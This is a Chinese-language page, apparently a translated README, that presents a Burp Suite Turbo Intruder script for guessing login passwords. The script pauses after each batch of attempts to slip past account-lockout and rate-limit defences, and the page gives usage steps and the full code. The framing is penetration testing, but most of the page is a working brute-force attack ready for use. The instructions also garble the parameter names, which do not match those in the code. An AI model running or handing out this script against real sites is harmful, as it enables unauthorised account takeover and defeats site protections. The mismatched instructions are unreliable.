简介
渗透测试登录凭据时,通常可以在指定数量的测试请求后设置暂停时间,以避免目标站点阻止攻击,这通常很有用。
许多网站针对此类重复的登录请求实施了网络防御措施,以防止滥用,并且在用户尝试了一定次数的登录尝试(例如10或20次登录)后,这种攻击通常会发挥作用。
在设定的一段时间内不再发出任何其他请求之后(通常为几分钟到一个小时),该应用程序通常会允许用户继续进行证书猜测请求。
该脚本允许BurpSuite Intruder遍历密码列表,但具有在发出指定数量的请求后在攻击中间设置暂停的功能。每次暂停后,攻击会自动恢复。
例如,此脚本可以使用凭据列表运行前20个用户名/密码请求,将脚本暂停10分钟,然后从下一个脚本继续执行接下来的20个请求,暂停10分钟,然后运行接下来的20个请求等,直到尝试了整个凭据列表为止。
要求:
安装了Turbo-Intruder的BurpSuite的免费或付费版本。
使用说明:
从此存储库下载script1_0.py。
右键单击要测试的登录请求(在Burp的“代理”选项卡中或在“入侵者”选项卡中),然后选择“ Turbo Intruder”,这将打开另一个显示要测试的请求的窗口。在Turbo-Intruder窗口的上半部分(在“ Raw”选项卡中),通过输入“%s”(不带引号)替换密码字符串,例如password =%s。在同一窗口的下半部分,您将看到默认的Turbo脚本。
在那里,您必须复制并粘贴script1_0.py的内容,替换整个窗口这一部分的内容。
在粘贴脚本的第一行中,您将看到“ #Parameters to configuration”,您可以在其中编辑以下内容:
tryWords =暂停前要尝试的密码数。
用法示例:tryWords = 20timeMins =要暂停的分钟数。
用法示例:tryMins = 0 timeSecs =暂停的秒数。
用法示例:trySecs = 5 valveMillisecs =每个请求之前要等待的毫秒数。
用法示例: crunchMillisecs = 200该脚本从必须名为`words.txt’的.txt文件中读取密码列表,并将其复制到BurpSuite主目录(Brup exe文件所在的目录)中。
单击Turbo窗口底部的“攻击”以执行脚本。请注意,这仅在Burp Intruder中的“狙击”攻击类型上进行了测试。可能需要对上述参数进行一些调整,以确保此脚本针对要测试的特定目标起作用。
script1_0.py文件内容
import time
# Parameters to configure
triedWords=20
timeMins=0
timeSecs=5
throttleMillisecs=200
# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
pipeline=False,
engine=Engine.BURP
)
engine.start()
for i in range(3, 8):
engine.queue(target.req, randstr(i), learn=1)
engine.queue(target.req, target.baseInput, learn=2)
secs=timeMins*60+timeSecs
n=0
for word in open('words.txt'):
time.sleep(throttleMillisecs/1000)
engine.queue(target.req, word.rstrip())
n+=1
if(n==triedWords):
time.sleep(secs)
n=0
def handleResponse(req, interesting):
if interesting:
table.add(req)
暂无评论内容